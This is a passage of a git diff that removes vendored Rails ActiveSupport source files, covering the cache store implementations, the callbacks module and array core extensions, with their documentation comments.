-    autoload :FileStore, 'active_support/cache/file_store'
-    autoload :MemoryStore, 'active_support/cache/memory_store'
-    autoload :SynchronizedMemoryStore, 'active_support/cache/synchronized_memory_store'
-    autoload :DRbStore, 'active_support/cache/drb_store'
-    autoload :MemCacheStore, 'active_support/cache/mem_cache_store'
-    autoload :CompressedMemCacheStore, 'active_support/cache/compressed_mem_cache_store'
-
-    module Strategy
-      autoload :LocalCache, 'active_support/cache/strategy/local_cache'
-    end
-
-    # Creates a new CacheStore object according to the given options.
-    #
-    # If no arguments are passed to this method, then a new
-    # ActiveSupport::Cache::MemoryStore object will be returned.
-    #
-    # If you pass a Symbol as the first argument, then a corresponding cache
-    # store class under the ActiveSupport::Cache namespace will be created.
-    # For example:
-    #
-    #   ActiveSupport::Cache.lookup_store(:memory_store)
-    #   # => returns a new ActiveSupport::Cache::MemoryStore object
-    #   
-    #   ActiveSupport::Cache.lookup_store(:drb_store)
-    #   # => returns a new ActiveSupport::Cache::DRbStore object
-    #
-    # Any additional arguments will be passed to the corresponding cache store
-    # class's constructor:
-    #
-    #   ActiveSupport::Cache.lookup_store(:file_store, "/tmp/cache")
-    #   # => same as: ActiveSupport::Cache::FileStore.new("/tmp/cache")
-    #
-    # If the first argument is not a Symbol, then it will simply be returned:
-    #
-    #   ActiveSupport::Cache.lookup_store(MyOwnCacheStore.new)
-    #   # => returns MyOwnCacheStore.new
-    def self.lookup_store(*store_option)
-      store, *parameters = *([ store_option ].flatten)
-
-      case store
-      when Symbol
-        store_class_name = (store == :drb_store ? "DRbStore" : store.to_s.camelize)
-        store_class = ActiveSupport::Cache.const_get(store_class_name)
-        store_class.new(*parameters)
-      when nil
-        ActiveSupport::Cache::MemoryStore.new
-      else
-        store
-      end
-    end
-
-    def self.expand_cache_key(key, namespace = nil)
-      expanded_cache_key = namespace ? "#{namespace}/" : ""
-
-      if ENV["RAILS_CACHE_ID"] || ENV["RAILS_APP_VERSION"]
-        expanded_cache_key << "#{ENV["RAILS_CACHE_ID"] || ENV["RAILS_APP_VERSION"]}/"
-      end
-
-      expanded_cache_key << case
-        when key.respond_to?(:cache_key)
-          key.cache_key
-        when key.is_a?(Array)
-          key.collect { |element| expand_cache_key(element) }.to_param
-        when key
-          key.to_param
-        end.to_s
-
-      expanded_cache_key
-    end
-
-    # An abstract cache store class. There are multiple cache store
-    # implementations, each having its own additional features. See the classes
-    # under the ActiveSupport::Cache module, e.g.
-    # ActiveSupport::Cache::MemCacheStore. MemCacheStore is currently the most
-    # popular cache store for large production websites.
-    #
-    # ActiveSupport::Cache::Store is meant for caching strings. Some cache
-    # store implementations, like MemoryStore, are able to cache arbitrary
-    # Ruby objects, but don't count on every cache store to be able to do that.
-    #
-    #   cache = ActiveSupport::Cache::MemoryStore.new
-    #   
-    #   cache.read("city")   # => nil
-    #   cache.write("city", "Duckburgh")
-    #   cache.read("city")   # => "Duckburgh"
-    class Store
-      cattr_accessor :logger
-
-      attr_reader :silence, :logger_off
-
-      def silence!
-        @silence = true
-        self
-      end
-
-      alias silence? silence
-      alias logger_off? logger_off
-
-      def mute
-        previous_silence, @silence = defined?(@silence) && @silence, true
-        yield
-      ensure
-        @silence = previous_silence
-      end
-
-      # Fetches data from the cache, using the given key. If there is data in
-      # the cache with the given key, then that data is returned.
-      #
-      # If there is no such data in the cache (a cache miss occurred), then
-      # then nil will be returned. However, if a block has been passed, then
-      # that block will be run in the event of a cache miss. The return value
-      # of the block will be written to the cache under the given cache key,
-      # and that return value will be returned.
-      #
-      #   cache.write("today", "Monday")
-      #   cache.fetch("today")  # => "Monday"
-      #   
-      #   cache.fetch("city")   # => nil
-      #   cache.fetch("city") do
-      #     "Duckburgh"
-      #   end
-      #   cache.fetch("city")   # => "Duckburgh"
-      #
-      # You may also specify additional options via the +options+ argument.
-      # Setting <tt>:force => true</tt> will force a cache miss:
-      #
-      #   cache.write("today", "Monday")
-      #   cache.fetch("today", :force => true)  # => nil
-      #
-      # Other options will be handled by the specific cache store implementation.
-      # Internally, #fetch calls #read, and calls #write on a cache miss.
-      # +options+ will be passed to the #read and #write calls.
-      #
-      # For example, MemCacheStore's #write method supports the +:expires_in+
-      # option, which tells the memcached server to automatically expire the
-      # cache item after a certain period. We can use this option with #fetch
-      # too:
-      #
-      #   cache = ActiveSupport::Cache::MemCacheStore.new
-      #   cache.fetch("foo", :force => true, :expires_in => 5.seconds) do
-      #     "bar"
-      #   end
-      #   cache.fetch("foo")  # => "bar"
-      #   sleep(6)
-      #   cache.fetch("foo")  # => nil
-      def fetch(key, options = {})
-        @logger_off = true
-        if !options[:force] && value = read(key, options)
-          @logger_off = false
-          log("hit", key, options)
-          value
-        elsif block_given?
-          @logger_off = false
-          log("miss", key, options)
-
-          value = nil
-          ms = Benchmark.ms { value = yield }
-
-          @logger_off = true
-          write(key, value, options)
-          @logger_off = false
-
-          log('write (will save %.2fms)' % ms, key, nil)
-
-          value
-        end
-      end
-
-      # Fetches data from the cache, using the given key. If there is data in
-      # the cache with the given key, then that data is returned. Otherwise,
-      # nil is returned.
-      #
-      # You may also specify additional options via the +options+ argument.
-      # The specific cache store implementation will decide what to do with
-      # +options+.
-      def read(key, options = nil)
-        log("read", key, options)
-      end
-
-      # Writes the given value to the cache, with the given key.
-      #
-      # You may also specify additional options via the +options+ argument.
-      # The specific cache store implementation will decide what to do with
-      # +options+.
-      # 
-      # For example, MemCacheStore supports the +:expires_in+ option, which
-      # tells the memcached server to automatically expire the cache item after
-      # a certain period:
-      #
-      #   cache = ActiveSupport::Cache::MemCacheStore.new
-      #   cache.write("foo", "bar", :expires_in => 5.seconds)
-      #   cache.read("foo")  # => "bar"
-      #   sleep(6)
-      #   cache.read("foo")  # => nil
-      def write(key, value, options = nil)
-        log("write", key, options)
-      end
-
-      def delete(key, options = nil)
-        log("delete", key, options)
-      end
-
-      def delete_matched(matcher, options = nil)
-        log("delete matched", matcher.inspect, options)
-      end
-
-      def exist?(key, options = nil)
-        log("exist?", key, options)
-      end
-
-      def increment(key, amount = 1)
-        log("incrementing", key, amount)
-        if num = read(key)
-          write(key, num + amount)
-        else
-          nil
-        end
-      end
-
-      def decrement(key, amount = 1)
-        log("decrementing", key, amount)
-        if num = read(key)
-          write(key, num - amount)
-        else
-          nil
-        end
-      end
-
-      private
-        def expires_in(options)
-          expires_in = options && options[:expires_in]
-
-          raise ":expires_in must be a number" if expires_in && !expires_in.is_a?(Numeric)
-
-          expires_in || 0
-        end
-
-        def log(operation, key, options)
-          logger.debug("Cache #{operation}: #{key}#{options ? " (#{options.inspect})" : ""}") if logger && !silence? && !logger_off?
-        end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/cache/compressed_mem_cache_store.rb b/vendor/rails/activesupport/lib/active_support/cache/compressed_mem_cache_store.rb
deleted file mode 100644
index d87eb173..00000000
--- a/vendor/rails/activesupport/lib/active_support/cache/compressed_mem_cache_store.rb
+++ /dev/null
@@ -1,20 +0,0 @@
-module ActiveSupport
-  module Cache
-    class CompressedMemCacheStore < MemCacheStore
-      def read(name, options = nil)
-        if value = super(name, (options || {}).merge(:raw => true))
-          if raw?(options)
-            value
-          else
-            Marshal.load(ActiveSupport::Gzip.decompress(value))
-          end
-        end
-      end
-
-      def write(name, value, options = nil)
-        value = ActiveSupport::Gzip.compress(Marshal.dump(value)) unless raw?(options)
-        super(name, value, (options || {}).merge(:raw => true))
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/cache/drb_store.rb b/vendor/rails/activesupport/lib/active_support/cache/drb_store.rb
deleted file mode 100644
index b16ed25a..00000000
--- a/vendor/rails/activesupport/lib/active_support/cache/drb_store.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-module ActiveSupport
-  module Cache
-    class DRbStore < MemoryStore #:nodoc:
-      attr_reader :address
-
-      def initialize(address = 'druby://localhost:9192')
-        require 'drb' unless defined?(DRbObject)
-        super()
-        @address = address
-        @data = DRbObject.new(nil, address)
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/cache/file_store.rb b/vendor/rails/activesupport/lib/active_support/cache/file_store.rb
deleted file mode 100644
index 7f34cb52..00000000
--- a/vendor/rails/activesupport/lib/active_support/cache/file_store.rb
+++ /dev/null
@@ -1,72 +0,0 @@
-module ActiveSupport
-  module Cache
-    # A cache store implementation which stores everything on the filesystem.
-    class FileStore < Store
-      attr_reader :cache_path
-
-      def initialize(cache_path)
-        @cache_path = cache_path
-      end
-
-      def read(name, options = nil)
-        super
-        File.open(real_file_path(name), 'rb') { |f| Marshal.load(f) } rescue nil
-      end
-
-      def write(name, value, options = nil)
-        super
-        ensure_cache_path(File.dirname(real_file_path(name)))
-        File.atomic_write(real_file_path(name), cache_path) { |f| Marshal.dump(value, f) }
-        value
-      rescue => e
-        logger.error "Couldn't create cache directory: #{name} (#{e.message})" if logger
-      end
-
-      def delete(name, options = nil)
-        super
-        File.delete(real_file_path(name))
-      rescue SystemCallError => e
-        # If there's no cache, then there's nothing to complain about
-      end
-
-      def delete_matched(matcher, options = nil)
-        super
-        search_dir(@cache_path) do |f|
-          if f =~ matcher
-            begin
-              File.delete(f)
-            rescue SystemCallError => e
-              # If there's no cache, then there's nothing to complain about
-            end
-          end
-        end
-      end
-
-      def exist?(name, options = nil)
-        super
-        File.exist?(real_file_path(name))
-      end
-
-      private
-        def real_file_path(name)
-          '%s/%s.cache' % [@cache_path, name.gsub('?', '.').gsub(':', '.')]
-        end
-
-        def ensure_cache_path(path)
-          FileUtils.makedirs(path) unless File.exist?(path)
-        end
-
-        def search_dir(dir, &callback)
-          Dir.foreach(dir) do |d|
-            next if d == "." || d == ".."
-            name = File.join(dir, d)
-            if File.directory?(name)
-              search_dir(name, &callback)
-            else
-              callback.call name
-            end
-          end
-        end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/cache/mem_cache_store.rb b/vendor/rails/activesupport/lib/active_support/cache/mem_cache_store.rb
deleted file mode 100644
index 17552586..00000000
--- a/vendor/rails/activesupport/lib/active_support/cache/mem_cache_store.rb
+++ /dev/null
@@ -1,143 +0,0 @@
-require 'memcache'
-
-module ActiveSupport
-  module Cache
-    # A cache store implementation which stores data in Memcached:
-    # http://www.danga.com/memcached/
-    #
-    # This is currently the most popular cache store for production websites.
-    #
-    # Special features:
-    # - Clustering and load balancing. One can specify multiple memcached servers,
-    #   and MemCacheStore will load balance between all available servers. If a
-    #   server goes down, then MemCacheStore will ignore it until it goes back
-    #   online.
-    # - Time-based expiry support. See #write and the +:expires_in+ option.
-    # - Per-request in memory cache for all communication with the MemCache server(s).
-    class MemCacheStore < Store
-      module Response # :nodoc:
-        STORED      = "STORED\r\n"
-        NOT_STORED  = "NOT_STORED\r\n"
-        EXISTS      = "EXISTS\r\n"
-        NOT_FOUND   = "NOT_FOUND\r\n"
-        DELETED     = "DELETED\r\n"
-      end
-
-      def self.build_mem_cache(*addresses)
-        addresses = addresses.flatten
-        options = addresses.extract_options!
-        addresses = ["localhost"] if addresses.empty?
-        MemCache.new(addresses, options)
-      end
-
-      # Creates a new MemCacheStore object, with the given memcached server
-      # addresses. Each address is either a host name, or a host-with-port string
-      # in the form of "host_name:port". For example:
-      #
-      #   ActiveSupport::Cache::MemCacheStore.new("localhost", "server-downstairs.localnetwork:8229")
-      #
-      # If no addresses are specified, then MemCacheStore will connect to
-      # localhost port 11211 (the default memcached port).
-      #
-      # Instead of addresses one can pass in a MemCache-like object. For example:
-      #
-      #   require 'memcached' # gem install memcached; uses C bindings to libmemcached
-      #   ActiveSupport::Cache::MemCacheStore.new(Memcached::Rails.new("localhost:11211"))
-      def initialize(*addresses)
-        if addresses.first.respond_to?(:get)
-          @data = addresses.first
-        else
-          @data = self.class.build_mem_cache(*addresses)
-        end
-
-        extend Strategy::LocalCache
-      end
-
-      # Reads multiple keys from the cache.
-      def read_multi(*keys)
-        @data.get_multi keys
-      end
-
-      def read(key, options = nil) # :nodoc:
-        super
-        @data.get(key, raw?(options))
-      rescue MemCache::MemCacheError => e
-        logger.error("MemCacheError (#{e}): #{e.message}")
-        nil
-      end
-
-      # Writes a value to the cache.
-      #
-      # Possible options:
-      # - +:unless_exist+ - set to true if you don't want to update the cache
-      #   if the key is already set.
-      # - +:expires_in+ - the number of seconds that this value may stay in
-      #   the cache. See ActiveSupport::Cache::Store#write for an example.
-      def write(key, value, options = nil)
-        super
-        method = options && options[:unless_exist] ? :add : :set
-        # memcache-client will break the connection if you send it an integer
-        # in raw mode, so we convert it to a string to be sure it continues working.
-        value = value.to_s if raw?(options)
-        response = @data.send(method, key, value, expires_in(options), raw?(options))
-        response == Response::STORED
-      rescue MemCache::MemCacheError => e
-        logger.error("MemCacheError (#{e}): #{e.message}")
-        false
-      end
-
-      def delete(key, options = nil) # :nodoc:
-        super
-        response = @data.delete(key, expires_in(options))
-        response == Response::DELETED
-      rescue MemCache::MemCacheError => e
-        logger.error("MemCacheError (#{e}): #{e.message}")
-        false
-      end
-
-      def exist?(key, options = nil) # :nodoc:
-        # Doesn't call super, cause exist? in memcache is in fact a read
-        # But who cares? Reading is very fast anyway
-        # Local cache is checked first, if it doesn't know then memcache itself is read from
-        !read(key, options).nil?
-      end
-
-      def increment(key, amount = 1) # :nodoc:
-        log("incrementing", key, amount)
-
-        response = @data.incr(key, amount)
-        response == Response::NOT_FOUND ? nil : response
-      rescue MemCache::MemCacheError
-        nil
-      end
-
-      def decrement(key, amount = 1) # :nodoc:
-        log("decrement", key, amount)
-        response = @data.decr(key, amount)
-        response == Response::NOT_FOUND ? nil : response
-      rescue MemCache::MemCacheError
-        nil
-      end
-
-      def delete_matched(matcher, options = nil) # :nodoc:
-        # don't do any local caching at present, just pass
-        # through and let the error happen
-        super
-        raise "Not supported by Memcache"
-      end
-
-      def clear
-        @data.flush_all
-      end
-
-      def stats
-        @data.stats
-      end
-
-      private
-        def raw?(options)
-          options && options[:raw]
-        end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/cache/memory_store.rb b/vendor/rails/activesupport/lib/active_support/cache/memory_store.rb
deleted file mode 100644
index b4a7438e..00000000
--- a/vendor/rails/activesupport/lib/active_support/cache/memory_store.rb
+++ /dev/null
@@ -1,58 +0,0 @@
-module ActiveSupport
-  module Cache
-    # A cache store implementation which stores everything into memory in the
-    # same process. If you're running multiple Ruby on Rails server processes
-    # (which is the case if you're using mongrel_cluster or Phusion Passenger),
-    # then this means that your Rails server process instances won't be able
-    # to share cache data with each other. If your application never performs
-    # manual cache item expiry (e.g. when you're using generational cache keys),
-    # then using MemoryStore is ok. Otherwise, consider carefully whether you
-    # should be using this cache store.
-    #
-    # MemoryStore is not only able to store strings, but also arbitrary Ruby
-    # objects.
-    #
-    # MemoryStore is not thread-safe. Use SynchronizedMemoryStore instead
-    # if you need thread-safety.
-    class MemoryStore < Store
-      def initialize
-        @data = {}
-      end
-
-      def read_multi(*names)
-        results = {}
-        names.each { |n| results[n] = read(n) }
-        results
-      end
-
-      def read(name, options = nil)
-        super
-        @data[name]
-      end
-
-      def write(name, value, options = nil)
-        super
-        @data[name] = value.freeze
-      end
-
-      def delete(name, options = nil)
-        super
-        @data.delete(name)
-      end
-
-      def delete_matched(matcher, options = nil)
-        super
-        @data.delete_if { |k,v| k =~ matcher }
-      end
-
-      def exist?(name, options = nil)
-        super
-        @data.has_key?(name)
-      end
-
-      def clear
-        @data.clear
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/cache/strategy/local_cache.rb b/vendor/rails/activesupport/lib/active_support/cache/strategy/local_cache.rb
deleted file mode 100644
index 088ab049..00000000
--- a/vendor/rails/activesupport/lib/active_support/cache/strategy/local_cache.rb
+++ /dev/null
@@ -1,104 +0,0 @@
-module ActiveSupport
-  module Cache
-    module Strategy
-      module LocalCache
-        # this allows caching of the fact that there is nothing in the remote cache
-        NULL = 'remote_cache_store:null'
-
-        def with_local_cache
-          Thread.current[thread_local_key] = MemoryStore.new
-          yield
-        ensure
-          Thread.current[thread_local_key] = nil
-        end
-
-        def middleware
-          @middleware ||= begin
-            klass = Class.new
-            klass.class_eval(<<-EOS, __FILE__, __LINE__ + 1)
-              def initialize(app)
-                @app = app
-              end
-
-              def call(env)
-                Thread.current[:#{thread_local_key}] = MemoryStore.new
-                @app.call(env)
-              ensure
-                Thread.current[:#{thread_local_key}] = nil
-              end
-            EOS
-            klass
-          end
-        end
-
-        def read(key, options = nil)
-          value = local_cache && local_cache.read(key)
-          if value == NULL
-            nil
-          elsif value.nil?
-            value = super
-            local_cache.mute { local_cache.write(key, value || NULL) } if local_cache
-            value.duplicable? ? value.dup : value
-          else
-            # forcing the value to be immutable
-            value.duplicable? ? value.dup : value
-          end
-        end
-
-        def write(key, value, options = nil)
-          value = value.to_s if respond_to?(:raw?) && raw?(options)
-          local_cache.mute { local_cache.write(key, value || NULL) } if local_cache
-          super
-        end
-
-        def delete(key, options = nil)
-          local_cache.mute { local_cache.write(key, NULL) } if local_cache
-          super
-        end
-
-        def exist(key, options = nil)
-          value = local_cache.read(key) if local_cache
-          if value == NULL
-            false
-          elsif value
-            true
-          else
-            super
-          end
-        end
-
-        def increment(key, amount = 1)
-          if value = super
-            local_cache.mute { local_cache.write(key, value.to_s) } if local_cache
-            value
-          else
-            nil
-          end
-        end
-
-        def decrement(key, amount = 1)
-          if value = super
-            local_cache.mute { local_cache.write(key, value.to_s) } if local_cache
-            value
-          else
-            nil
-          end
-        end
-
-        def clear
-          local_cache.clear if local_cache
-          super
-        end
-
-        private
-          def thread_local_key
-            @thread_local_key ||= "#{self.class.name.underscore}_local_cache".gsub("/", "_").to_sym
-          end
-
-          def local_cache
-            Thread.current[thread_local_key]
-          end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/cache/synchronized_memory_store.rb b/vendor/rails/activesupport/lib/active_support/cache/synchronized_memory_store.rb
deleted file mode 100644
index ea03a119..00000000
--- a/vendor/rails/activesupport/lib/active_support/cache/synchronized_memory_store.rb
+++ /dev/null
@@ -1,47 +0,0 @@
-module ActiveSupport
-  module Cache
-    # Like MemoryStore, but thread-safe.
-    class SynchronizedMemoryStore < MemoryStore
-      def initialize
-        super
-        @guard = Monitor.new
-      end
-
-      def fetch(key, options = {})
-        @guard.synchronize { super }
-      end
-
-      def read(name, options = nil)
-        @guard.synchronize { super }
-      end
-
-      def write(name, value, options = nil)
-        @guard.synchronize { super }
-      end
-
-      def delete(name, options = nil)
-        @guard.synchronize { super }
-      end
-
-      def delete_matched(matcher, options = nil)
-        @guard.synchronize { super }
-      end
-
-      def exist?(name,options = nil)
-        @guard.synchronize { super }
-      end
-
-      def increment(key, amount = 1)
-        @guard.synchronize { super }
-      end
-
-      def decrement(key, amount = 1)
-        @guard.synchronize { super }
-      end
-
-      def clear
-        @guard.synchronize { super }
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/callbacks.rb b/vendor/rails/activesupport/lib/active_support/callbacks.rb
deleted file mode 100644
index 86e66e05..00000000
--- a/vendor/rails/activesupport/lib/active_support/callbacks.rb
+++ /dev/null
@@ -1,279 +0,0 @@
-module ActiveSupport
-  # Callbacks are hooks into the lifecycle of an object that allow you to trigger logic
-  # before or after an alteration of the object state.
-  #
-  # Mixing in this module allows you to define callbacks in your class.
-  #
-  # Example:
-  #   class Storage
-  #     include ActiveSupport::Callbacks
-  #
-  #     define_callbacks :before_save, :after_save
-  #   end
-  #
-  #   class ConfigStorage < Storage
-  #     before_save :saving_message
-  #     def saving_message
-  #       puts "saving..."
-  #     end
-  #
-  #     after_save do |object|
-  #       puts "saved"
-  #     end
-  #
-  #     def save
-  #       run_callbacks(:before_save)
-  #       puts "- save"
-  #       run_callbacks(:after_save)
-  #     end
-  #   end
-  #
-  #   config = ConfigStorage.new
-  #   config.save
-  #
-  # Output:
-  #   saving...
-  #   - save
-  #   saved
-  #
-  # Callbacks from parent classes are inherited.
-  #
-  # Example:
-  #   class Storage
-  #     include ActiveSupport::Callbacks
-  #
-  #     define_callbacks :before_save, :after_save
-  #
-  #     before_save :prepare
-  #     def prepare
-  #       puts "preparing save"
-  #     end
-  #   end
-  #
-  #   class ConfigStorage < Storage
-  #     before_save :saving_message
-  #     def saving_message
-  #       puts "saving..."
-  #     end
-  #
-  #     after_save do |object|
-  #       puts "saved"
-  #     end
-  #
-  #     def save
-  #       run_callbacks(:before_save)
-  #       puts "- save"
-  #       run_callbacks(:after_save)
-  #     end
-  #   end
-  #
-  #   config = ConfigStorage.new
-  #   config.save
-  #
-  # Output:
-  #   preparing save
-  #   saving...
-  #   - save
-  #   saved
-  module Callbacks
-    class CallbackChain < Array
-      def self.build(kind, *methods, &block)
-        methods, options = extract_options(*methods, &block)
-        methods.map! { |method| Callback.new(kind, method, options) }
-        new(methods)
-      end
-
-      def run(object, options = {}, &terminator)
-        enumerator = options[:enumerator] || :each
-
-        unless block_given?
-          send(enumerator) { |callback| callback.call(object) }
-        else
-          send(enumerator) do |callback|
-            result = callback.call(object)
-            break result if terminator.call(result, object)
-          end
-        end
-      end
-
-      # TODO: Decompose into more Array like behavior
-      def replace_or_append!(chain)
-        if index = index(chain)
-          self[index] = chain
-        else
-          self << chain
-        end
-        self
-      end
-
-      def find(callback, &block)
-        select { |c| c == callback && (!block_given? || yield(c)) }.first
-      end
-
-      def delete(callback)
-        super(callback.is_a?(Callback) ? callback : find(callback))
-      end
-
-      private
-        def self.extract_options(*methods, &block)
-          methods.flatten!
-          options = methods.extract_options!
-          methods << block if block_given?
-          return methods, options
-        end
-
-        def extract_options(*methods, &block)
-          self.class.extract_options(*methods, &block)
-        end
-    end
-
-    class Callback
-      attr_reader :kind, :method, :identifier, :options
-
-      def initialize(kind, method, options = {})
-        @kind       = kind
-        @method     = method
-        @identifier = options[:identifier]
-        @options    = options
-      end
-
-      def ==(other)
-        case other
-        when Callback
-          (self.identifier && self.identifier == other.identifier) || self.method == other.method
-        else
-          (self.identifier && self.identifier == other) || self.method == other
-        end
-      end
-
-      def eql?(other)
-        self == other
-      end
-
-      def dup
-        self.class.new(@kind, @method, @options.dup)
-      end
-
-      def hash
-        if @identifier
-          @identifier.hash
-        else
-          @method.hash
-        end
-      end
-
-      def call(*args, &block)
-        evaluate_method(method, *args, &block) if should_run_callback?(*args)
-      rescue LocalJumpError
-        raise ArgumentError,
-          "Cannot yield from a Proc type filter. The Proc must take two " +
-          "arguments and execute #call on the second argument."
-      end
-
-      private
-        def evaluate_method(method, *args, &block)
-          case method
-            when Symbol
-              object = args.shift
-              object.send(method, *args, &block)
-            when String
-              eval(method, args.first.instance_eval { binding })
-            when Proc, Method
-              method.call(*args, &block)
-            else
-              if method.respond_to?(kind)
-                method.send(kind, *args, &block)
-              else
-                raise ArgumentError,
-                  "Callbacks must be a symbol denoting the method to call, a string to be evaluated, " +
-                  "a block to be invoked, or an object responding to the callback method."
-              end
-          end
-        end
-
-        def should_run_callback?(*args)
-          [options[:if]].flatten.compact.all? { |a| evaluate_method(a, *args) } &&
-          ![options[:unless]].flatten.compact.any? { |a| evaluate_method(a, *args) }
-        end
-    end
-
-    def self.included(base)
-      base.extend ClassMethods
-    end
-
-    module ClassMethods
-      def define_callbacks(*callbacks)
-        callbacks.each do |callback|
-          class_eval <<-"end_eval"
-            def self.#{callback}(*methods, &block)                             # def self.before_save(*methods, &block)
-              callbacks = CallbackChain.build(:#{callback}, *methods, &block)  #   callbacks = CallbackChain.build(:before_save, *methods, &block)
-              @#{callback}_callbacks ||= CallbackChain.new                     #   @before_save_callbacks ||= CallbackChain.new
-              @#{callback}_callbacks.concat callbacks                          #   @before_save_callbacks.concat callbacks
-            end                                                                # end
-                                                                               #
-            def self.#{callback}_callback_chain                                # def self.before_save_callback_chain
-              @#{callback}_callbacks ||= CallbackChain.new                     #   @before_save_callbacks ||= CallbackChain.new
-                                                                               #
-              if superclass.respond_to?(:#{callback}_callback_chain)           #   if superclass.respond_to?(:before_save_callback_chain)
-                CallbackChain.new(                                             #     CallbackChain.new(
-                  superclass.#{callback}_callback_chain +                      #       superclass.before_save_callback_chain +
-                  @#{callback}_callbacks                                       #       @before_save_callbacks
-                )                                                              #     )
-              else                                                             #   else
-                @#{callback}_callbacks                                         #     @before_save_callbacks
-              end                                                              #   end
-            end                                                                # end
-          end_eval
-        end
-      end
-    end
-
-    # Runs all the callbacks defined for the given options.
-    #
-    # If a block is given it will be called after each callback receiving as arguments:
-    #
-    #  * the result from the callback
-    #  * the object which has the callback
-    #
-    # If the result from the block evaluates to false, the callback chain is stopped.
-    #
-    # Example:
-    #   class Storage
-    #     include ActiveSupport::Callbacks
-    #
-    #     define_callbacks :before_save, :after_save
-    #   end
-    #
-    #   class ConfigStorage < Storage
-    #     before_save :pass
-    #     before_save :pass
-    #     before_save :stop
-    #     before_save :pass
-    #
-    #     def pass
-    #       puts "pass"
-    #     end
-    #
-    #     def stop
-    #       puts "stop"
-    #       return false
-    #     end
-    #
-    #     def save
-    #       result = run_callbacks(:before_save) { |result, object| result == false }
-    #       puts "- save" if result
-    #     end
-    #   end
-    #
-    #   config = ConfigStorage.new
-    #   config.save
-    #
-    # Output:
-    #   pass
-    #   pass
-    #   stop
-    def run_callbacks(kind, options = {}, &block)
-      self.class.send("#{kind}_callback_chain").run(self, options, &block)
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext.rb b/vendor/rails/activesupport/lib/active_support/core_ext.rb
deleted file mode 100644
index 6690a0ba..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-filenames = Dir["#{File.dirname(__FILE__)}/core_ext/*.rb"].sort.map do |path|
-  File.basename(path, '.rb')
-end
-
-# deprecated
-filenames -= %w(blank)
-
-filenames.each { |filename| require "active_support/core_ext/#{filename}" }
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/array.rb b/vendor/rails/activesupport/lib/active_support/core_ext/array.rb
deleted file mode 100644
index 82c6b124..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/array.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-require 'active_support/core_ext/array/access'
-require 'active_support/core_ext/array/conversions'
-require 'active_support/core_ext/array/extract_options'
-require 'active_support/core_ext/array/grouping'
-require 'active_support/core_ext/array/random_access'
-require 'active_support/core_ext/array/wrapper'
-
-class Array #:nodoc:
-  include ActiveSupport::CoreExtensions::Array::Access
-  include ActiveSupport::CoreExtensions::Array::Conversions
-  include ActiveSupport::CoreExtensions::Array::ExtractOptions
-  include ActiveSupport::CoreExtensions::Array::Grouping
-  include ActiveSupport::CoreExtensions::Array::RandomAccess
-  extend ActiveSupport::CoreExtensions::Array::Wrapper
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/array/access.rb b/vendor/rails/activesupport/lib/active_support/core_ext/array/access.rb
deleted file mode 100644
index 6de338bf..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/array/access.rb
+++ /dev/null
@@ -1,53 +0,0 @@
-module ActiveSupport #:nodoc:
-  module CoreExtensions #:nodoc:
-    module Array #:nodoc:
-      # Makes it easier to access parts of an array.
-      module Access
-        # Returns the tail of the array from +position+.
-        #
-        #   %w( a b c d ).from(0)  # => %w( a b c d )
-        #   %w( a b c d ).from(2)  # => %w( c d )
-        #   %w( a b c d ).from(10) # => nil
-        #   %w().from(0)           # => nil
-        def from(position)
-          self[position..-1]
-        end
-        
-        # Returns the beginning of the array up to +position+.
-        #
-        #   %w( a b c d ).to(0)  # => %w( a )
-        #   %w( a b c d ).to(2)  # => %w( a b c )
-        #   %w( a b c d ).to(10) # => %w( a b c d )
-        #   %w().to(0)           # => %w()
-        def to(position)
-          self[0..position]
-        end
-
-        # Equal to <tt>self[1]</tt>.
-        def second
-          self[1]
-        end
-
-        # Equal to <tt>self[2]</tt>.
-        def third
-          self[2]
-        end
-
-        # Equal to <tt>self[3]</tt>.
-        def fourth
-          self[3]
-        end
-
-        # Equal to <tt>self[4]</tt>.
-        def fifth
-          self[4]
-        end
-
-        # Equal to <tt>self[41]</tt>. Also known as accessing "the reddit".
-        def forty_two
-          self[41]
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/array/conversions.rb b/vendor/rails/activesupport/lib/active_support/core_ext/array/conversions.rb
deleted file mode 100644
index 579b18ce..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/array/conversions.rb
+++ /dev/null
@@ -1,197 +0,0 @@
-module ActiveSupport #:nodoc:
-  module CoreExtensions #:nodoc:
-    module Array #:nodoc:
-      module Conversions
-        # Converts the array to a comma-separated sentence where the last element is joined by the connector word. Options:
-        # * <tt>:words_connector</tt> - The sign or word used to join the elements in arrays with two or more elements (default: ", ")
-        # * <tt>:two_words_connector</tt> - The sign or word used to join the elements in arrays with two elements (default: " and ")
-        # * <tt>:last_word_connector</tt> - The sign or word used to join the last element in arrays with three or more elements (default: ", and ")
-        def to_sentence(options = {})
-          default_words_connector     = I18n.translate(:'support.array.words_connector',     :locale => options[:locale])
-          default_two_words_connector = I18n.translate(:'support.array.two_words_connector', :locale => options[:locale])
-          default_last_word_connector = I18n.translate(:'support.array.last_word_connector', :locale => options[:locale])
-
-          # Try to emulate to_senteces previous to 2.3
-          if options.has_key?(:connector) || options.has_key?(:skip_last_comma)
-            ::ActiveSupport::Deprecation.warn(":connector has been deprecated. Use :words_connector instead", caller) if options.has_key? :connector
-            ::ActiveSupport::Deprecation.warn(":skip_last_comma has been deprecated. Use :last_word_connector instead", caller) if options.has_key? :skip_last_comma
-
-            skip_last_comma = options.delete :skip_last_comma
-            if connector = options.delete(:connector)
